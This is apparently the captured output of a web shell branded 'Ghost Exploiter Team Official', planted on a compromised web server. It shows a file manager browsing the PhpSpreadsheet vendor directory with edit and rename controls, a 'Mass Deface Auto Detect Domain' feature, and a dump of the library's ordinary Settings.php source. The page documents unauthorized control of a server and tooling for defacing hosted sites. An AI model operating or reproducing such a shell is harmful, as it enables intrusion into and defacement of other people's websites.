Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpoffice
/
phpspreadsheet
/
src
/
PhpSpreadsheet
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Calculation
--
ren
Cell
--
ren
Chart
--
ren
Collection
--
ren
Document
--
ren
Helper
--
ren
Reader
--
ren
RichText
--
ren
Shared
--
ren
Style
--
ren
Worksheet
--
ren
Writer
--
ren
CellReferenceHelper.php
4.256KB
edt
ren
Comment.php
7.354KB
edt
ren
DefinedName.php
6.413KB
edt
ren
Exception.php
0.081KB
edt
ren
HashTable.php
3.756KB
edt
ren
IComparable.php
0.178KB
edt
ren
IOFactory.php
8.809KB
edt
ren
NamedFormula.php
0.95KB
edt
ren
NamedRange.php
1.221KB
edt
ren
ReferenceHelper.php
54.033KB
edt
ren
Settings.php
5.769KB
edt
ren
Spreadsheet.php
45.721KB
edt
ren
Theme.php
7.003KB
edt
ren
<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Chart\Renderer\IRenderer; use PhpOffice\PhpSpreadsheet\Collection\Memory; use Psr\SimpleCache\CacheInterface; use ReflectionClass; class Settings { /** * Class name of the chart renderer used for rendering charts * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph. * * @var ?string */ private static $chartRenderer; /** * Default options for libxml loader. * * @var ?int */ private static $libXmlLoaderOptions; /** * The cache implementation to be used for cell collection. * * @var ?CacheInterface */ private static $cache; /** * The HTTP client implementation to be used for network request. * * @var mixed */ private static $httpClient; /** * @var mixed */ private static $requestFactory; /** * Set the locale code to use for formula translations and any special formatting. * * @param string $locale The locale code to use (e.g. "fr" or "pt_br" or "en_uk") * * @return bool Success or failure */ public static function setLocale(string $locale) { return Calculation::getInstance()->setLocale($locale); } public static function getLocale(): string { return Calculation::getInstance()->getLocale(); } /** * Identify to PhpSpreadsheet the external library to use for rendering charts. * * @param string $rendererClassName Class name of the chart renderer * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph */ public static function setChartRenderer(string $rendererClassName): void { if (!is_a($rendererClassName, IRenderer::class, true)) { throw new Exception('Chart renderer must implement ' . IRenderer::class); } self::$chartRenderer = $rendererClassName; } /** * Return the Chart Rendering Library that PhpSpreadsheet is currently configured to use. * * @return null|string Class name of the chart renderer * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph */ public static function getChartRenderer(): ?string { return self::$chartRenderer; } public static function htmlEntityFlags(): int { return \ENT_COMPAT; } /** * Set default options for libxml loader. * * @param ?int $options Default options for libxml loader * * @deprecated 3.5.0 no longer needed */ public static function setLibXmlLoaderOptions($options): int { if ($options === null) { $options = defined('LIBXML_DTDLOAD') ? (LIBXML_DTDLOAD | LIBXML_DTDATTR) : 0; } self::$libXmlLoaderOptions = $options; return $options; } /** * Get default options for libxml loader. * Defaults to LIBXML_DTDLOAD | LIBXML_DTDATTR when not set explicitly. * * @return int Default options for libxml loader * * @deprecated 3.5.0 no longer needed */ public static function getLibXmlLoaderOptions(): int { return self::$libXmlLoaderOptions ?? (defined('LIBXML_DTDLOAD') ? (LIBXML_DTDLOAD | LIBXML_DTDATTR) : 0); } /** * Deprecated, has no effect. * * @param bool $state * * @deprecated will be removed without replacement as it is no longer necessary on PHP 7.3.0+ * * @codeCoverageIgnore */ public static function setLibXmlDisableEntityLoader(/** @scrutinizer ignore-unused */ $state): void { // noop } /** * Deprecated, has no effect. * * @return bool $state * * @deprecated will be removed without replacement as it is no longer necessary on PHP 7.3.0+ * * @codeCoverageIgnore */ public static function getLibXmlDisableEntityLoader(): bool { return true; } /** * Sets the implementation of cache that should be used for cell collection. */ public static function setCache(?CacheInterface $cache): void { self::$cache = $cache; } /** * Gets the implementation of cache that is being used for cell collection. */ public static function getCache(): CacheInterface { if (!self::$cache) { self::$cache = self::useSimpleCacheVersion3() ? new Memory\SimpleCache3() : new Memory\SimpleCache1(); } return self::$cache; } public static function useSimpleCacheVersion3(): bool { return PHP_MAJOR_VERSION === 8 && (new ReflectionClass(CacheInterface::class))->getMethod('get')->getReturnType() !== null; } /** * Set the HTTP client implementation to be used for network request. * * @param mixed $httpClient * @param mixed $requestFactory * * @deprecated 1.30.2 No replacement. */ public static function setHttpClient($httpClient, $requestFactory): void { self::$httpClient = $httpClient; self::$requestFactory = $requestFactory; } /** * Unset the HTTP client configuration. * * @deprecated 1.30.2 No replacement. */ public static function unsetHttpClient(): void { self::$httpClient = null; self::$requestFactory = null; } /** * Get the HTTP client implementation to be used for network request. * * @return mixed * * @deprecated 1.30.2 No replacement. */ public static function getHttpClient() { return self::$httpClient; } /** * Get the HTTP request factory. * * @return mixed * * @deprecated 1.30.2 No replacement. */ public static function getRequestFactory() { return self::$requestFactory; } }